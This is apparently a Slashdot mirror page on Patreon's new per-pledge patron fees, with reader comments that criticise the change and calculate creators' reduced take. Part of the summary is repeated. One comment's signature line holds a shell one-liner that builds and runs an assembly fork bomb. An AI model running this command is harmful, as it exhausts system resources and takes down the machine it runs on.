Slashdot Mirror
Patreon Hits Donors With New Fees, Angering Creators (venturebeat.com)
Patreon's changing their fee structure to make donors cover payment-processing fees (standardized to 2.9%) -- plus an additional 35 cents for every pledge. Long-time Slashdot reader NewtonsLaw reports that Patreon's users are furious:
Despite Patreon's hype that this is a good thing for creators, few of these actually seem to agree and there's already a growing backlash on social media... many fear that their net return will be lower because the extra fees levied on patreons are causing them to either reduce the amount they pledge or withdraw completely... For those patrons supporting only a few creators the effect won't be large, but for those who make small donations to many creators this could amount to a hike of almost 40% in the amount charged to their credit cards. Without exception, all the content creators I have spoken to would have:
a) liked to have been consulted first
b) wanted the option to retain the old system where they bear the cost of the fees.
As a content creator, I've already seen quite a few of my patreons reducing their pledge and others canceling their pledges completely -- and I understand why they are doing that.
"Everyone hates Patreon's new fee," writes VentureBeat, adding "Many creators are saying it's unfair for patrons to have to pay transaction fees. In addition to that, most people support multiple creators and not just one, and they'll have to pay the extra fee for each pledge they make."
Tech journalist Bryan Lunduke is already soliciting suggestions on Twitter for an open source or Free Software solution that accepts donations from multiple payment systems, and while the change doesn't go into effect until December 18th, NewtonsLaw writes that "it's starting to look as if many content creators will be getting a slightly larger percentage of a much smaller amount as a result of this lunacy by Patreon -- something that will see them far worse off than the were before."
a) liked to have been consulted first
b) wanted the option to retain the old system where they bear the cost of the fees.
As a content creator, I've already seen quite a few of my patreons reducing their pledge and others canceling their pledges completely -- and I understand why they are doing that.
"Everyone hates Patreon's new fee," writes VentureBeat, adding "Many creators are saying it's unfair for patrons to have to pay transaction fees. In addition to that, most people support multiple creators and not just one, and they'll have to pay the extra fee for each pledge they make."
Tech journalist Bryan Lunduke is already soliciting suggestions on Twitter for an open source or Free Software solution that accepts donations from multiple payment systems, and while the change doesn't go into effect until December 18th, NewtonsLaw writes that "it's starting to look as if many content creators will be getting a slightly larger percentage of a much smaller amount as a result of this lunacy by Patreon -- something that will see them far worse off than the were before."
I had been pledging $1/month to several different creators. With the new fee structure, it's better to only fund one creator each month and rotate that creator every month. That's ridiculous.
I canceled all my pledges this morning in protest.
As a creator with several hundred patrons and about $1500/month in pledges, I had agreed to the terms where I paid the fees. Nobody asked if I wanted to change the deal I had made. I had no problem paying the fees because it kept things simple for my patrons. It almost feels like "I have altered the deal. Pray I do not alter it further."
This just seems like a cash grab on the part of Patreon. There's no reason that they couldn't combine all of the pledges into a single transaction with respect to billing the customer and then split the fee equally across all transactions. So if someone is pledging $1 to 10 different individuals,
I'm not a patron or creator on Patreon, but here's what I've been able to piece together from recent news:
The credit card processors charge a swipe fee on the order of 30 cents per transaction in addition to a rake of 2 to 3 percent of the value. For debit cards processed through card-present EFTPOS, only the swipe fee applies, which is part of why stores default to "debit" instead of "credit". But in either case, the swipe fee is why many convenience stores have a minimum charge for small purchases, and Amazon charges sellers a minimum commission of $1 per item.
The use of "de-aggregate" in this Tweet implies that Patreon used to aggregate pledges from multiple donors when charging patrons' credit cards. But there were reportedly a couple abuses of this. One involved people who would pledge to a particular creator, view the creator's patron-only posts, and cancel the pledge the user's before billing date. Another is that a chargeback by a cardmember who doesn't remember his pledges would affect all pledges. So instead, Patreon switched to separately on behalf of each creator.
I can think of a few ways that Patreon could reduce the impact of a swipe fee on $1 and $2 pledges.
Annual billing Let the user pay 12 months of a pledge in advance with one transaction. Print magazines, for instance, have used this for decades. "Reset my billing date" button Reintroduce aggregation as an opt-in choice, where patron-only posts remain locked until a patron submits a form that charges a pro-rated fraction of the existing pledges. Gift cards Let a patron top-up Patreon credit. Prepaid mobile phone providers use this.Tech journalist Bryan Lunduke is already soliciting suggestions on Twitter for an open source or Free Software solution that accepts donations from multiple payment systems.
This sounds like a job for GNU Taler.
https://taler.net/en/index.html
"You should never doubt what nobody is sure about." -- Willy Wonka
If someone was supporting 10 patrons for $1/month each, then Patreon would bill them ONCE for $10 each month and the single transaction fee was split between the 10 creators. The result being each creator would get around 90 cents. This is what made the ecosystem of small donations actually work.
Now that person is billed 10 times with 10 transaction fees totaling $14 and each creator receives 95 cents.
Before the creators were getting 90% of the donation. Now they are getting 68%. People are upset because it breaks the system that only existed because of the way the fees were originally structured.
This seems like Patreon is read to IPO. A few months ago they went after game developers (who use the system and provide monthly updates to patreons) and started objecting to sexual content in the games. Now they are changing the system to start charging more to the patreons, instead of charging more to the people who benefit from the donations. There was a time (I am showing my age) where Paypal did the same thing before it IPOed, by changing the payment method just before it became public so that they could have predictable revenue methods to describe to investors.
I don't know if it is for the best or now, I just know that people don't like being screwed out of money. In the US, we are conditioned to not know what prices are as everything we buy is the price of an item but tax is figured by the computer at the register. Yes sometimes in some states it is simple math but when you live in a province with tax rates like 9.417% you have no freaking clue what you are going to pay until the cashier tells you. That is exactly what people are pissed off about with this new policy change at Patreon. They knew it was a dollar (or ten) that was spent, now it is some formula that they have to figure out and it is not easy to figure out what is going on. Patreon is not mentioning if you get charged fees multiple times, single transactions, etc.
You have no idea what you are talking about. The monthly donations are batched into a lump sum transaction, so the fee per pledge did not exist. Out of a $1 pledge, $0.05 was a Patreon fee and a variable amount up to $0.10 maximum was the "transaction fee." Now for a "$1 donation" the charge to the donor is actually $1.38, so the initial amount has changed significantly and it is not really $1 we're dealing with. Out of this $1.38, $0.95 goes to the creator, $0.05 is the Patreon fee, and the remaining $0.38 is the "transaction fee" which Patreon largely pockets since they STILL batch all donations by a person into one lump sum withdrawal. That's a 280% increase in the transaction fee. Once donation amounts are normalized to only charge the donor $1 total for a "$1 pledge" the creator takes home $0.62 instead of $0.85. For what's now being called a "$1 pledge" Patreon is now taking a 31% cut of what the donor gives instead of a 15% maximum. Of course, if you donate $40 a month to one person this percentage goes down relative to 40x $1 donations, so it pressures people to dump most of their recipients in favor of giving all the money to very few. Many are just bailing completely in protest.
It's a money grab for Patreon. I suspect it's a golden parachute deployment tactic by the executives because there's no other logical explanation for this; they knew the backlash would happen.
You should take the time to understand what you're commenting on before you put fingers to keyboard. I have nothing against you but you spouted a bunch of false numbers as facts. The information is very easy to get so there isn't an excuse.
Imagine what would happen to a tip jar at a restaurant if donors weren't allowed to put anything into it without paying an additional fee to an administrator who managed the jar.
File under 'M' for 'Manic ranting'
Slashdot isn't 'social media'. It's more like 'antisocial media'.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
We trusted them with our wallets and they have told us that OUR wallets are THEIR property. It follows from that that Patreon cannot be trusted. I've canceled my smaller donations and am going to contact them about alternatives, since I do want to support their work. I'm also going to be contacting my bigger beneficiaries about alternatives.
Patreon is toast as far as I'm concerned. There is NO way they can apologize their way out of the attitude they have demonstrated.
1. Patreon was newer responsible for covering fees, it was always on creator side
2. Fees have two components: percentage of amount and fixed sum. In current system all payments are made together so the fixed part is paid once only. In new system all payments will be made separately so fixed amount is added to every payment. Basically for every extra pledge I make I waste the fee amount. For large pledge its largely irrelevant, but for small ones it means huge increase in costs
3. Patreon takes 5% as their fee. Now that they don't offer payment aggregation service and so become the LEAST efficient way of supporting the creator, why should I give it to them? So far the cost of convenience was low as aggregation lowered the external costs, but now they will be just taking 5% on top of other ways to support for a "fanpage" and paywall system of questionable quality.
According to Patreon's blog entry, previously creators received anywhere from 85%-93% of donations. Now they receive exactly 95% of pledges, but only a part of the amount paid by the patron counts as "the pledge".
Let x be the total amount paid by a patron for a pledge, and p be the value of the pledge.
x = 1.029p + 0.35
Solving for the worst case, where the 95% of the pledge that the creator receives is at least 85% of all money donated, to match that under the new system the patron would need to pledge at least $3.95, which would cost the patron $4.42. That's what a patron will need to pay to avoid the creator receiving less than the worst case under the old system. Paying $5 is hardly better - let's look at the $1-$5 range, which is what most patrons are probably giving:
From now on, patrons who pledge $1 have to pay $1.38, and the creator receives less than 69% of that. Patrons who want to pay $1 to each of their recipients are out of luck, and must choose between increasing their monthly Patreon expense or give up donating. When patrons spend $5 the creator sees less that 86% of that, which is basically the same as the old system's worst case.
Okay, but at what point does the new system work out better for the creator than the old system's best case? The answer is: never. Even if a donor pledges a million dollars a month the creator gets barely over 92% of it.
---
To sum it all up, Patreon is raising its fees dramatically, so instead of creators receiving 85%-93% of money given by patrons, they will now receive 69%-86% in practice.
In addition, they will also have fewer patrons because new hidden fees on the payer's side will turn many potential and existing patrons off.
And on top of that, the minimum pledge of $1 now costs 38% extra, all the patrons who used to sponsor multiple creators at $1 each but aren't willing to pay 38% extra per month on Patreon will now have to choose between dropping more than a third of their sponsored creators or dropping out of Patreon entirely. Either way, creators lose many of their patrons.
If Patreon simply hiked their fees honestly instead of instead of adding the extra "35c plus 2.9% of your pledge that that count as part of your pledge" hidden service fee for patrons to disguise the fee hike then it would creators would grumble about losing roughly an eighth of their net revenue but at least wouldn't be losing patrons too. Keeping all the fees on the receiver's is better for everybody.